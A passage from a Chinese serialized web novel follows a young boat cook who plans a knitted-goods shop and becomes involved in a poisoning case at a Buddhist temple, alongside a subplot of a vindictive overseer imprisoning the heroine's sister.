这会儿褚朝云正在船尾忙着干活,眼见着几名富家小姐相约上来用饭,便不由得抬头多看了几眼。 其中一位姑娘似是格外注重妆容,跟随的小厮背着个大包,上船时习惯性一甩,“咣当”一声巨响,布包就撞到了船栏之上。 那姑娘登时停住脚步,疾步回来查看。 小厮也是吓了一跳,忙和自家小姐道着歉,又赶快打开布包。 虽说褚朝云对那些金银玉饰不太感兴趣,可这布包里好一只八宝金翠妆奁盒子,四四方方,流光溢彩,简直是不想去看都不行了。 还好那船栏只是竹子做的,没有太硬,否则这盒子恐怕就要撞的裂开。 见妆奁盒没事,姑娘才松了口气,“下次要小心着些。” 那小姐说话轻声细语,不大的年纪脾性却是不错。 小厮惶恐之后忙回应道:“我一定注意,一定注意!” 几人迈步上去雅间,褚朝云撩撩掉落下来的碎发,倒是对那妆奁盒印象越发深刻。 入夜之后回来说起此事,方如梅就搭腔道:“小姐们爱美,随身带妆奁盒子的还真不少,只是那盒子多用木质,铁质,或者是今个看到的金玉居多,磕磕碰碰也是难免。” “那干嘛不用编织的,质地柔软的,比如用线?” 褚朝云随口问。 方如梅听得一愣:“啊……啊?” 他们压根就没人想过这种事,被女子一问,倒是给问懵了。 翌日一早,褚朝云起来却没忙着上去洗漱,而是拿着一张纸走了出来。 昨晚她睡前匆匆画了一张草图出来,主要是今个便要去长业寺,有些事,还是再去之前先交代完比较好。 草图之上,是一只小妆奁盒子的样式。 四四方方看着不大,开口连接的盒盖处,是用线缠了一只扣子。 盒子周身她浅浅绘制过几笔,大概就是一些简单的编织图样。 这小盒子外表看着精美,还真不输昨个见到的八宝金翠妆奁盒。 “你们可以研究一下试试看,能不能做出这样一只小盒子来。我的意见就是用针织,反正质地轻薄,摸着柔软,出门带着方便就可以了。” “当然,要是没想法就让香荷去问春叶,反正活也不是一个人干出来的。” 她补充了一句。 方如梅知道褚朝云画这个,是跟他们昨个提到的话题相关。 可还是有些没太反应过来:“朝云,你这是……” 褚朝云笑的眉眼弯起,“不是说要大干一场吗?自然不能只做点手套和鞋套就完事了。” “我有个想法。” 女子笑盈盈地看着他们,“其实我们可以挂名开个针织铺子,不过手艺要过关,样式也得新颖,你们大家想不想干?” 第72章 二更 长街不远的一处院子里点起了灯,虽说这天才刚擦黑,但李婆子突然把褚惜兰给叫了回来,褚惜兰心中也是慌得有点打鼓。 她一向和春叶、蕙娘交好,日常做什么三人都基本是形影不离。 就连雅间,都是并排挨着的。 李婆子从不会这样,本着事出反常必有妖的原则,褚家大姐儿捏紧手帕,心中一滞—— 难不成他们跟着三妹妹做生意的事,被这刁妇给发现了? 褚惜兰迈步进门,强行的吸了几口气,试图让自己变得冷静下来。 至少表面不能被看出端倪。 她努力思索着,若是三妹妹遇上这样的情形,大概不会像她表现的这般紧张吧? 为了不出错,她还偷偷回了一趟自己的屋子,照了照桌上的铜镜,等紧绷的面容看着稍微的松弛一些了,才又迈步走出来。 这是二进的院子,李婆子独自住在后一重。 褚惜兰提了口气,正想绕去后面,忽的一转身,老婆子就鬼一样的出现在她身后。 “你——” 她惊恐地叫出一声。 待看清李婆子的那张脸后,这才又收住了声音。 褚惜兰心中还是突突的跳,于是她尽量把头低下,声音也尽量压下一点,才能保证不被来人听出她的慌乱,“不知管事急着唤我回来,可是有什么事要我去做?” 李婆子直挺挺地看着她,怨毒的神情一闪而逝。 随即,就撑起塌下的面颊两侧,笑道:“褚惜兰,你想不想回家?” “回、回家?!” 女子这一声比刚刚喊得高了些,惊的自己一个激灵。 她并不知赵大才刚用这招糊弄过老陈,但这“回家”的诱惑确实是不小。 管事们从前也用过许多次这种招数,几乎百试百灵。 李婆子甩了下攥着的帕子,语调幽幽:“我就跟你直说吧,今个把你叫回来自是因为有些事要问问你,我不为难你什么,就要一句准话。” “你说了之后,是想回家还是想要其他的东西,金银玉器,郎君公子,你说得出,我老婆子就办得到。” “怎么样?这笔买卖划算吧?” 李婆子靠近她,近乎盯视的表情里藏着满满的算计。 其实也不知为什么,大概就是女人的直觉,褚惜兰总觉得李婆子要讲的事,和褚朝云脱不开关系。 但话到此处由不得她不选,褚惜兰佯装镇定的站直了些,开口道:“管事请说。” 李婆子和她对视了一会儿,尖利的笑了声:“我就想要知道,我侄子李二达他到底是怎么死的?他的死,跟褚朝云有没有关系??” 果然是跟三妹妹有关的事。 褚惜兰心想。 但她觉得李管事这话也问的莫名其妙,李二达是怎么死的,官府不是已经有了定论? “李管事,我不懂你为何会把这事联想到我三妹妹的头上?” “你且说是或不是?” 李婆子往前迈了一步,尖锐的目光刀子一样灼人。 褚惜兰不自觉的后退了下,“恕我冒昧,李管事你是不是听了什么闲话才会这般联想,我三妹妹她一直在船上,根本接触不到李工头,她——” “我就问你是还是不是?!!” 见褚惜兰一直想要给褚朝云辩白,李婆子顿时恼火起来。 老妇大吼了一声,又咄咄逼人的往前迈步。 褚惜兰确实有些惧怕这老妇,可也不允许有人硬要往三妹妹的头上泼脏水。 于是李婆子对着她喊,向来性子温顺的女子也被喊出了脾气,便迎着老妇扎人的目光大声回应道:“当然不是,不可能是!” “唰——”的一下,李婆子抬手就把她推进了旁的空房中去。 而后飞快关上门,在门外气急败坏道:“你既不肯承认,那就一辈子别想走出蕤洲!!” 李婆子呼哧呼哧地喘着粗气,一路出了大门往万春楼的方向去吃酒了。 褚朝云从长业寺比赛归来的第二日傍晚,老妇由于想念李二达,也独自一人来这里吃了顿酒。 她膝下无儿女,夫君也早早就归了天。 李婆子只有这么一个侄子。 她满心的希望都在李二达身上,想着等哪天捞够了本,她就把这差事交给李二达来接。 反正蕤洲这一摊的生意永不会断,他们姑侄几辈子都花不完的。 她拿李二达当亲儿子疼,也是想着等自己老了之后,李二达会照顾她,就算死了也有人给哭哭坟吧。 虽说李二达总是跟她吵架,还骂过她是“老不死”,但她知道,侄子说的都是气话。 她的宝贝大侄子总会给她养老的。 李婆子一边喝酒一边哭,脸上的妆花了好几层。 忽的,一戴着帷帽的女子在她对面坐了下来。 那人盯着她笑了半晌,然后嘴角一咧说道:“你可真是没用啊,亲侄子都死了,你不去报仇却在这里喝酒?你就是喝死了,顶多也只是让仇人笑的更开怀罢了。” 李婆子喝的醉眼迷离,但这女子说的话她却是听得真真的。 老妇放下酒壶,阴冷的目光盯向女子,却只看到帷帽处坠下来的帽帘,“你是谁?为何知晓我们的事?!” 女子优雅一笑,而后轻蔑的看向她:“一条破船而已,还真以为自己是这蕤洲的主子了?我是什么身份你还不配知晓,但我只能说,你侄子的死跟船上的船娘褚朝云大有关系,如果你想报仇,那就去杀了她啊~” 那女子不摘帷帽也不亮明身份,但字字句句都指向李二达是褚朝云害死的。 即便不是直接,也是间接。 李婆子本就讨厌褚朝云。 因为讨厌,所以她轻易就信了女子的话,也或者说是……她更希望这女子说的就是真相。 李婆子如今再去回忆,已经很难想起那晚的情景。 只是有一事,令她印象很深。 那女子本欲再跟她多说几句话的,可门外进来的小厮却心急火燎的上来催促她,“小姐,老爷得知长业寺比赛之事很是震怒,他叫您连夜赶回京中去,我们是不是……” 京中? 长业寺比赛? 翌日,李婆子立刻着人去打探了一下那些参赛选手的身家背景。 虽说也有几位女子是从京中来的,但基本连初赛都没熬过就被淘汰了。 只有一位贵女,是进了决赛的。 不过来找她的到底是谁都无妨,总之京中的人都本领通天,没准是暗恋她侄子,不忍心看李二达死的不明不白,这才忍不住出言提醒吧。 所以那女子说得对,她要报仇。 她一定要想办法弄死褚朝云! 可又一想,这事如今却更加棘手了。 上头多次警告过他们这些管事,不得随意弄出人命,犯了大错可以打死,如无过错,不得随便重罚。 之前云娘要赎身那事,她为了立功,为了和钟纯心争地位,所以才直接毒死了对方。 虽说上头也不同意云娘下船,可她手段太狠,还是得了极重的惩罚。 再加上钟纯心那个贱妇总是护着褚朝云……李婆子不太敢明着去对付褚朝云,这才想了个阴招。 如果褚惜兰能帮忙作证,那褚朝云必死无疑。 可褚惜兰这个小贱人,竟然死活都不肯说! …… 褚惜兰被推进门之后,外面的大门就直接锁死了。 这空置着的屋子正是云娘曾经住过的那一间,因着这些年也没怎么来过新人,院子其他的房间也够住,李婆子又嫌晦气,就也没安排谁再住进来。 此刻天已经彻底黑了,加上这屋子长久无人居住,窗又一直关着,褚惜兰闻到了浓重的霉味。 似乎……还有点血腥的气息? 褚惜兰从伸手不见五指的环境里坐起来,一只手哆嗦着往血味的来源摸过去。 似是摸到了什么冰冷之物,跟着指尖就沾染了点黏腻。 她好像反应过来了那是什么。 于是惊惶的叫出一声,起身就要往门那跑。 慌乱中,她爬起来奔跑时不慎踩到了什么,听到对方的一声闷声后,再次受到惊吓,就又惊叫着摔倒在地。 难道是云娘?! 虽然世人都说不亏心就不怕鬼叫门,可这乌漆嘛黑地还摸到了一手的血,换成谁,也要吓得魂飞魄散吧!! 褚惜兰彻底镇定不下来了,又想挣扎着爬起来去拍门,她一直折腾不停,刚刚被踩到的姑娘就气若游丝的说了一句,“你……能不能先不要吵……” 褚惜兰听到一声实打实的回应。 虽说说话之人听着像是受了重伤般虚弱,但好像是个活人? 褚惜兰慢慢的收了声,朝着另一个方向缓缓站起身,寻着窗口那模糊不清的亮光过去,然后抬手打开了窗。 月光涌入,冬日的冷风渗入进一些,很快就缓和了她的紧张。 褚惜兰借着幽光翻了翻四周,寻到根蜡烛点上,总算看清楚了屋中场景。 房间内床板上的被褥早就撤了,屋中只有一架古琴落了厚厚地浮灰,想来是从前云娘所用过的。 而被她踩到的女子此刻正俯身趴在地上,发髻凌乱,伸出来的一只手背上还能看到明显的鞋印。 显然是她踩上去的。 褚惜兰心中愧疚,忙上前去把人扶起来。 可那姑娘实在虚弱,连路也走不了几步。 褚惜兰只好扶着她去床榻上靠着,又一低头,才看到刚刚那人趴过的地方,碎了一只茶杯。 茶杯上有血渍,还被她抹掉一点。 褚惜兰伸手摸了一下方桌上摆着的一壶茶,壶身还温热,想必这姑娘也才被丢进来没有多久。 所以……这人是新来的? 她迈步过去,坐到姑娘身边,瞧了眼对方状态开口问道:“你……身上是不是还有什么暗伤?他们打你了?你是从什么地方被带过来的?” 姑娘抬起没什么力气的手,往小腹上按了几下。 褚惜兰觉得她可能是饿了。 但自己现下又出不去,就把那壶茶端过来,就着壶嘴喂了几口水给她。 姑娘喝过茶水,稍稍缓和几下,这才恢复了些气力道:“唉……他们倒是也没打我,我是饿的发晕,进来时想喝点茶,结果打碎了茶杯不说,手还按在了那碎瓷片上……” 她说着,将一只手掌翻过来,细腻的掌心血糊的厚厚一层,看着就挺疼。 褚惜兰见不得这种场面,顿时瑟缩了下,“等到他们放我出去之后,我给你拿东西来包一下,还能再给你带些吃的来。” 二人对坐在蜡烛之下,盯了一会儿噼啪爆开的火花,褚惜兰就又道:“对了你还没有告诉我,你是从哪里来的?” 姑娘思索一番,“木远县,你知道么?” 褚惜兰摇头。 姑娘:“在青州,很偏很偏的一个小县城,我们县太爷的儿子许钰前阵子还来蕤洲参加过什么比赛,大家觉得蕤洲繁华,就都想出来做点什么。” “县太爷?” “嗯,不过也没什么用。” 姑娘道:“我们青州是商人大过做官的,至少表面上……能横着走的都是有钱的大户。” 说了没一会儿,褚惜兰就弄明白了。 这姑娘叫于小圆,和她一样家里都是务农的。 于小圆从青州赶路来到蕤洲,一眼就被蕤河上的那条花船给吸引住了。 她是自己找去管事那的,因为不懂,还以为留在船上做工就能赚大钱,这才上了李婆子的当。 于小圆这一路走下来经常吃不上饭,但李婆子显然没那么好心给她备饭,温壶热茶都是好对待了,奈何这人没挺住晕了过去。 要不是褚惜兰被李婆子给推进来,褚惜兰在她耳边又吵又闹,她这会儿还晕着没醒呢。 很少见到于小圆心性这么单纯的,褚惜兰一时间还真不知道说什么好了。 不过怎么来的都好,总之上了贼船就下不去了。 于小圆倒是心大,并没太把“自己的命已经绑到船上”这事放在心上。 她只是一直追问褚惜兰,“你们都是去船上做工么?具体做的什么?月银多吗?我要是多干几个时辰,工钱还能给涨不?” 褚惜兰:“……”- 褚朝云到了长业寺时天还没完全黑下来,清禅带着她去了女香客暂住的厢房,就忙着去处理其他院务了。 清禅告诉她,晚膳之后会过来与她商讨食单问题,所以这会儿褚朝云倒也没什么事要做。 徐大徐二和上次一样,留在陪同比赛时住过的院子里。 褚朝云收拾完,就出门去看刁氏。 刁氏跟她住的不远,算着日子知晓她今个会来,所以一个下午就不停地出来院道张望。 可来来回回也没见到人,妇人折腾的疲累,这会儿正在屋中睡着,褚朝云就径自过来了。 许是知道她会来,妇人就没有锁门。 褚朝云进门就看到刁氏闭眼躺在床上,手腕上的小铃铛换过一条新的线,想来之前那条是作为衣冠冢入了坟墓,也算是给了囡囡一个固定的家。 褚朝云不忍打扰妇人好梦,眼见着刁氏面上的气色好了许多,便欣慰的又走出来。 她此时还不饿,刚好食客厅也没做好晚膳。 褚朝云在院道边漫无目的的溜达着,远远地,就听到零零散散马车进院的声响。 没过一会儿,一声惊喜的男音就传递过来,“朝云?!” 是蔡庆。 褚朝云其实对蔡庆的印象还算不错,加之又是同行,见面难免也亲切些。 蔡庆还是单枪匹马背着包袱过来的。 他大步跑来,比身旁慢慢悠悠地那辆马车速度快上许多。 一到近前,蔡庆就擦着额头的汗停下,“真好呀,我就知道你会提前过来,所以家中一过完节,就马上赶过来了。” 通常到了初一十五的时候,方丈会开放讲经堂给香客。 所以每到这个日子,才会有那么多的人过来上香祈福,听完讲经再去吃个斋饭,最终添完香火方能满意离去。 褚朝云见蔡庆性情纯朴,便笑问:“你赶着十五过来,是要给家人祈福吗?” “不是啊,我是来给你捧场的。” 蔡庆实诚道。 二人边走边说。 褚朝云才弄明白,原来儒阳县就在蕤洲,那家有名的胡记芝麻小饼铺子,也开在儒阳县。 所以褚朝云他们住的地方其实就跟儒阳县挨着,但蔡庆是徒步来的,所以才走了很久。 “你放心,我来时问过清禅师傅,宗匀酌和唐淑自从比完赛回去之后就没露过面,所以明个的素斋宴,肯定没什么问题的。” 蔡庆还记着这俩人和褚朝云的不睦,便好心眼的提醒了句。 褚朝云听罢轻笑:“就算他们来捣乱,我也不怕。” “对,我们不怕!” 蔡庆给她加油打气,就是这话说的底气有点不足。 蔡庆其实还是挺怕那俩人的。 他们站在院道一侧聊,刚刚那辆闲逛似的马车也到了近前,在旁跟随的小厮将车停稳,喊了一声:“小姐,女香客的院子到了。” 里面清浅地应了一句,很快,就走出一女子来。 褚朝云认得他们。 那小厮身上背着的包袱,正凸出四四方方的边角,就算不用打开来看,褚朝云也知道里面装的是八宝金翠妆奁盒子。 这女子正是那日上船游玩的其中一位。 还有跟随的小厮,褚朝云都见过。 白淼淼从车帘后探出头来,另一小厮就递了脚凳给她,白淼淼踩着脚凳下去时,褚朝云也下意识瞟去一眼。 收起脚凳的小厮原本一直低着头,可不知怎的,就抬头望来一眼。 褚朝云和他的视线不小心碰撞到一起,那小厮就又低头去牵马。 有丫鬟想要跟着白淼淼进厢房,女子则回头软声吩咐:“你们都去外院住吧,我想一个人待一待。” 两名小厮并一名丫鬟听后,就牵着马车往回走。 褚朝云和蔡庆又说了好一会儿话,刁氏便出来了。 蔡庆还要去男香客的居所送包袱,就暂时告辞离去。 有僧人过来请他们去食客厅用晚膳,褚朝云搀扶着刁氏,二人边走边说,一起去了食客厅的方向。 “这里的日子虽说清苦,但确实能让我静心。” 刁氏伸手握住她,紧了下,又说:“这阵子我都没有梦到囡囡,大概她得知我近况安好,应该也能放心离去了。” 见妇人如今内心平静不少,而且不用整日在船上劳作,眼疾和腿疾也再慢慢恢复,褚朝云总算放下心来。 “对了朝云,我这一走,你们采买的事……” 刁氏是住进来之后才想起这事的。 一想到此,就还有些后悔。 褚朝云听她问,忙安她的心道:“放心吧婶子,我租了一条大船,如今都是宋谨小哥再帮我买东西送东西。” "而且针织铺子马上也要开起来了,等我们攒够了银钱,就下船来跟您团聚!" “你见到宋谨了?!” 提到宋谨,刁氏明显激动了些。 妇人见她一切都好,很是欣慰:“小宋是个好人,办事又妥帖。” “嗯,我们现在是互帮互助~” 褚朝云眨了下眼睛。 话毕,刁氏不仅多看她一眼,然后就摇着头的笑起来。 虽说她一直觉得这小丫头鬼心眼多,可有时,未免又会流露出几分不符合年龄的老成。 小姑娘还是开开心心的最好。 刁氏觉得褚朝云遇上宋谨之后,大概变得活泼了那么点。 “那你说说,你们是怎么个互助法?你付他工钱?” 褚朝云“噗嗤”一乐:“他帮我办事,我给他包饺子吃,就这么个互助。” 刁氏听后笑的更加开怀,心想,这傻姑娘到底是才十几岁的丫头,这亏本买卖人家都做,分明意不在饺子。 不过日子还长着,日久才能看明白人心。 她也不急着劝褚朝云什么。 刁氏今个见到褚朝云心中高兴,连晚饭都多吃了几口。 晚间,妇人早早就困乏了回去睡,而褚朝云则回了厢房等清禅过来商议食单。 回来的路上,褚朝云就觉得院道今个出奇的安静,好像平时见到的僧人这会儿都没看到。 直到清禅来了说明缘由,她才明白。 每个初一十五的前一晚,僧人们都要去讲经堂开法会,所以往来才看不到一个人。 而清禅是长业寺首座,上面除了空释就属他最大。 素斋宴也是重中之重,清禅才过来同她商议食单,而无需去法会。 褚朝云将写好的食单铺开在方桌上,清禅则坐到一旁细细看了起来。 一张食单上不仅写了每一道菜的菜名,更是连所用食材都标的一清二楚。 清禅一目了然,不禁感叹道:“褚施主有心了,相信明日的香客,会对这份食单感到满意的。” “所以,不用再改了吗?” 她问。 清禅冷清的眉眼难得露出几分笑意,然后轻摇了摇头:“褚施主的食单准备的非常精心,我实在提不出更好的建议来,还是等到明日,留给香客们去——” 话音未落,二人就被北面传来的惊叫声给打断了。 褚朝云虽离着那处较远,可如此安静的夜晚,这一声喊叫还是让他们很快辨认出,那是一名僧人的声音。 以及,声源发出的位置,正是白淼淼所住的厢房。 第73章 二更 察觉事情不妙,褚朝云和清禅立即出门往白淼淼住的厢房赶了过去。 临近之后,果真看到大开的房门前,一名吓坏了的小和尚一边闭着眼,一边念念叨叨:“我佛慈悲,阿弥陀佛!!” 小和尚嘴巴里不停的循环这两句话,显然已是吓得不知所措。 褚朝云和清禅也不怪他,毕竟这孩子只有八岁。 小和尚贪睡,用过晚膳又偷偷去躺了会儿。 眼见着法会要迟了便匆匆出门,只是路过这里时听到些杂七杂八的声响,这才上来看了一眼。 因着小和尚刚刚喊叫过,加之褚朝云住的又离这边远,所以她和清禅并不是第一个赶到的。 早在惊叫声响起之时,两侧住着的女香客就已经推门出来看情况了。 所以二人还没走到白淼淼的房门前,几名女香客便围在一边,瑟瑟发抖道:“杀人了杀人了!里面死人了!!” 女香客们的声音虽字字句句响在耳边,但清禅却有些不敢置信。 佛门重地,怎会有杀戮之事? “待我先去看看。” 清禅神情凝重的迈步进门,一偏头,却发现褚朝云也跟了进来。 “褚施主,你不怕么?” 清禅微觉诧异。 褚朝云却已经绕开他,先看到了房门内的情形。 此刻房中地面正东一个西一个躺着两人,白淼淼是趴着的姿势,而身后不远处的小厮,则是仰躺着的。 厢房陈设都是一致的,除了床榻,再就是一张方桌和两只方凳。 方桌上放着一壶茶水,旁边还有一小碟的点心,点心是否动过无人知晓,错落的搁在盘中,一共有四块。 见此,褚朝云和清禅惊讶地互看一眼,然后就分头去查看两人的状况。 褚朝云蹲下身,手指试探着挪到白淼淼鼻端——鼻息微弱,好像只是晕了过去? 确认这一点后,她才敢用手去触摸女子的身体。 女子周身温热。 褚朝云松了口气,然后看向清禅:“她还活着,那人呢?” 清禅摇了摇头:“这位施主已经……” 看来小厮是死了。 虽说二人只有几面之缘,但褚朝云还是有些惋惜,她叹过之后,就打算先将白淼淼给扶起来。 “哐啷——” 她才刚托起白淼淼,女子身下压着的匕首就曝露出来,并且还随着翻转身体的姿势,被白淼淼的衣裙给刮了一下。 褚朝云惶然。 清禅见状,抬头看了眼已经赶过来的几名僧人,其中一人轻点下头,转身便往院道而去。 原本小厮不明不白的死在白淼淼房中,这事就是要查清楚的。 现下又发现白淼淼持刀,无论这起案子和她有没有关系,白淼淼也都不能随意走动。 她被僧人关在了厢房里,然后等待府衙来人。 褚朝云隔着窗,看屋中已经醒来的女子。 刚刚那窗被白淼淼给打开来透气,所以听到窗下有脚步声,屋中人也很快看向了她。 “姑娘……” 白淼淼刚开了句口,小腹就传来“咕噜噜”的声响。 白淼淼显然是饿了。 只是她不敢去吃桌上放着的点心,点心是小厮从家中给她带来的,因着知晓她吃不惯寺庙中的清淡,才特地拿过来叫她垫垫肚子。 屋外,围观的女香客们被驱赶几次都不愿离开,眼见着褚朝云靠近那厢房,她们的目光便都追随着望了过来。 “那小厮到底是怎么死的?好吓人啊。” “里面的姑娘为何要带着匕首来长业寺,我住她旁边,今晚要怎么睡啊。” “仵作也会来吧?小厮的死因不是需要验尸才能知晓吗?” 众人七嘴八舌,声调里皆是心惊胆战。 白淼淼往窗子这边走了几步,再看向褚朝云时,又小心翼翼开口道:“姑娘,我认得你,可以帮忙叫我的丫鬟把妆奁盒子送过来吗?我的发髻乱了。” 褚朝云轻摇了摇头:“这事我确实做不得主,不过你……认得我?” 白淼淼一听妆奁盒送不过来,表情略显失望,但还是耐性很好的回答了她的问题:“是,在船上。” 看来那天不只她看到了白淼淼,对方也瞧见了她。 “你很饿?” 褚朝云问。 白淼淼的小腹又叫了几下,女子抿抿唇,无奈道:“傍晚感到腹中饥饿,还好阿财送了吃食过来,只不过——” 其实她也不知道,之后的一切是怎么发生的。 她只记得阿财进门,将点心和茶水放到了方桌上。 白淼淼有些怕冷,就想先去床榻上拿汤婆子。 也就这一转身的功夫,后颈似是被什么打了一下,她便感到全身麻痛,顷刻就没了知觉。 她把事情和褚朝云说了一说,褚朝云就开口问她:“那匕首呢?” “匕首不是我的。” 白淼淼说完,便又往窗前走了几步,似是想要远离阿财的尸体。 褚朝云看得出她是害怕。 任谁跟一具死尸关在同一间屋子里也是要怕的,但清禅做事严谨,不想破坏了现场给衙差增添难度,这才有了这样的决定。 所以他同意白淼淼把窗子打开,也留了十几名僧人在外守着,除却怕有其他变故发生,也是为了给白淼淼壮壮胆子。 伺候自己的下人突然死在眼前,白淼淼确实震惊,但也没流露出多少难过。 毕竟他们白府下人众多,而且她也不是太熟悉。 知晓这人叫阿财,还是因为对方送吃食时,跟她提了一嘴。 白淼淼心中忙乱,又饿的难受,于是她才刚坐下没一会儿,就又走过来,“姑娘,他的死不关我的事,你可愿意相信我么?” “我相信与否,用处不大。” 褚朝云温和道。 想到这白姑娘人也刚醒不久,恐怕又饿的晕过去,便说道:“要不,我去给你做一碗吃食过来,你先垫一下,等下官差来了你恐怕还有得折腾。” “多谢。” 白淼淼也不想一直饿着肚子。 褚朝云转身离去,路上挑了个离厢房最近的厨房。 她如今是长业寺的掌厨,所以想要进哪间厨房,也没谁会过问。 吃食不好做的太复杂,褚朝云也只是有什么就用什么。 看到进来的这间放着些糯米粉和黑芝麻,她便就地取材搓一碗糯米丸子出来。 寺庙里是不缺糖的,只是没有荤食。 褚朝云弄好丸子便下锅去煮,再回来时,厢房的门已经被打开了。 府衙来了不少的人,一只竹架摆在院道旁的空地处,朱力和几名同僚就站在那边聊边等。 朱力是不认识褚朝云的,毕竟他不算真正意义上的跟褚朝云见过面,哪怕上次李二达死了,他去船上协助问话,也不知晓哪名船娘是褚朝云。 褚朝云端着碗糯米丸子从旁路过,同僚里的小八卦就蹙着鼻子感叹起来:“好香啊,我说!” “你说个屁。” 朱力白他一眼:“咱们是来抬尸体的,你怎么还想着吃?” 小八卦讪讪一眼,然后扁着嘴和褚朝云搭话:“姑娘姑娘,你们寺里这会儿还供饭吗?” 褚朝云见他一副小眼睛炯炯有神,说话时表情灵动,便知此人是个活泼性子。 于是低声道:“今日应当没有了,但明日有素斋宴。” “哎呀呀,素斋宴也轮不到我们,恐怕待会儿就要回去了。” 小八卦只觉得可惜。 褚朝云朝着几人点点头,又端着碗往厢房来。 此刻,白淼淼正撑着窗子往外看,而小厮身旁,则站了些官府来的官差。 仵作蹲下身来查看了一下阿财的情形,遂偏头看向身边的男子,“看出他是怎么死的了么?” 老头分明再考跟着过来的人。 那男子闻言便靠近了些,简单判断过后,清润的声音微微响起:“中毒。” 褚朝云来到窗下时,正听到这么一句。 女子表情怔了怔,端着碗往里面望,刚好,就和说话之人对上了视线。 宋谨没想到能在这里遇上褚朝云,或者说,其实今夜师父并没叫他跟着来,是他听闻长业寺有案子,主动要过来的。 他是有想过褚朝云也来了长业寺,大概什么时间就会遇上,只是没觉得会这么快。 宋谨见到褚朝云,不自觉地就站起了身。 蹲着的老头又扒了下阿财眼皮,然后说道:“阿谨,你——” 一偏头,人不见了。 老头抬头往窗口看了一眼,就见一向做事认真的小徒弟已经走了过去,似乎正跟外面站着的女子说些什么。 这里人多,二人自是没空闲聊。 褚朝云隐晦地笑了一下,然后问道:“我做的吃食可以端给白姑娘吃一些吗?她饿的没有力气,一会儿你们不是还要问话?” “可以是可以,只是需要先验一下。” 宋谨说着取出一根银针,对着碗里扎了下,算作是走个流程。 白淼淼闻到食物的香气,总算有了些气力。 她回头看了一眼小厮的尸体,而后支吾道:“但是我……必须要在这里吃东西吗?” 案子既然出现在这儿了,那就不能大张旗鼓的把尸体抬回去再破案。 因为凶手有一定几率还在寺中,所以早在尸体发现之时,清禅就叫僧人关闭了庙门。 仵作叫清禅给他们寻了一间能查验尸体的房间,朱力和小八卦就将阿财抬了过去。 白淼淼也被带去了另一间房,由褚朝云暂时陪着她。 白淼淼坐在方桌前吃糯米丸子,一口甜糯下肚,她不由得赞叹道:“你做的东西真好吃!所以平时花船上的饭食,也都是你做的吗?” “不是我,是程娘子。” 褚朝云回应道。 “原来是她……怪不得大家都爱去船上吃东西,但是你做的也好吃。” 白淼淼吃过饭有了精神头,就又开始担忧起自己的发髻来。 褚朝云见她一副坐立不安的样子,总觉得这姑娘有点强迫症。 强迫症是很难受,褚朝云深知这一点。 于是她犹豫着起身,没有说什么就推门走了出去。 出来时又看到朱力几人,便走上前去询问道:“几位小哥,请问宋谨……他现在还在寺中吗?” 朱力惊讶竟有姑娘主动要找宋谨,听后忙回应道:“在的,这案子不破,我们恐怕都走不得了。不过他跟老头在验尸,姑娘寻他可是有什么事吗?” 他问完,还不等褚朝云回应,小八卦就心急火燎的先挤了上来。 “姑娘你认识我们家宋儿吗?嘿嘿,你俩什么时候认识的?快跟我说说——哎哟!!” 小八卦还没等八卦完,就被身后过来的男子拉着脖领子拽开了。 宋谨听到动静出来时,双手还戴着褚朝云送他的手套。 小八卦一想到宋谨正在做的事,“嗖”的一下窜开,浑身跟长了痱子一样抖起来:“宋儿,你刚碰完尸体又来碰我!!” 宋谨不理他,而是示意褚朝云去一旁说话。 不过褚朝云看到了那手套并没沾染污渍,想来宋谨才刚戴上,还没开工就先出来了。 她不由得笑了一下。 但时间紧迫,她也没空多寒暄,就捡了重点来说:“白姑娘的妆奁盒放在外院丫鬟那了,我想帮忙取来——” 她说着忽然凑近了些,目光狡黠地在宋谨耳畔快速讲了一句什么。 由于二人靠得太近,褚朝云又满身糯米丸子的香甜味儿。 衣料擦过时,宋小哥本能的耳朵红了下,然后就默默点了点头。 他朝着朱力招招手,和褚朝云道:“让朱力大哥陪你过去吧,安全一些,我还得跟师父忙一阵子。” 说完,又轻咳一声对朱力道:“麻烦多多照应一下朝云姑娘。” “朝云?!” 朱力惊了下,忽而想到什么,忙抱歉道:“对不起刚刚有点激动了,所以……你就是褚朝云褚姑娘吗?” 褚朝云知晓眼前人是谁后,便笑道:“是我,曾娘子最近可好?” “好、好!” 朱力憨笑着挠了挠头,又补充一句:“她特别好!” 褚朝云陪着朱力去外院找丫鬟,小八卦又想跟着,被朱力踹了一脚才肯老实。 但当着姑娘的面太过暴力总归不好,朱力便不好意思地解释一句,“那群猴子不听话,总是欠收拾,不揍两下,他们一会儿还要缠着你问东问西的。” 发现褚朝云再看他,朱力立刻又说:“我可从不打阿谨的,平时都是他管着我们来着,咳咳。” 褚朝云失笑。 说话间,二人也已经到了外院。 丫鬟得知阿财死了,只是简单的“哦”了一下。 “姑娘丝毫不讶异?” 褚朝云顿感奇妙。 白淼淼面对阿财反应平淡是有自己的理由的,但丫鬟和小厮,难道不就像是同一家公司里的同事一样,怎么听到死讯竟无动于衷? 自家事丫鬟本不予多说。 但看朱力这个差人跟着,才不得不讲了两句。 白府的掌事者白老爷脾气不好,下人做事不管如何兢兢业业,他依旧能挑的出来毛病。 若按照丫鬟的话来说,白老爷多少有点鸡蛋里挑骨头的意思。 所以白府里的丫鬟小厮流动性比较大,白老爷一个不满意,就要换一批新的人来伺候。 这来来回回,能做久的下人并不多,彼此之间也就没什么深厚情谊。 褚朝云接过那精致的妆奁盒,又问:“你们家小姐经常过来长业寺吗?” “每个十五都来,给家里的老爷太太祈福。” “那这次除了白姑娘,一共跟来了几名仆从呢?” 丫鬟被问的顿住,细想一番,不确定道:“我不知道啊,大概两三个?三四个?” “嗯?” 褚朝云和朱力齐齐发出疑问。 主要这丫鬟回答的话,听着也确实奇怪。 朱力眉毛一竖,有些急切道:“你们一行来了几个你都不知道?这怎么可能?” 丫鬟也跟着急,“真没注意,我们都是各自做各自的事。而且这次随行的都是生面孔,大概也才来府里没几天吧,路上我都和小姐在车里坐着,外面的事我不关心,又不多给银子。” 朱力:“……” 褚朝云又问了问小厮们住的位置,就打算和朱力亲自过去先看一看。 刚刚他们出来时,衙差一直专注询问其他香客事发之时的周围情形,也有一部分留在白淼淼住过的厢房里搜查,所以外院仆从的事,他们就暂且忽略了。 但褚朝云心中一直有个直觉,她总觉得这事和带来的仆从脱不开关系。 因为当时拿脚凳给白淼淼的那名小厮,实在叫人印象深刻。 可那时天已擦黑,她看不清楚那人长相。 她把这疑点和宋谨提了。 因为她也想快些解决了这件事,免得长业寺中人心惶惶。 只是二人到达阿财他们住过的地方看了之后,才发现,屋中早已空无一人。 那个她见过的小厮,凭空消失了。 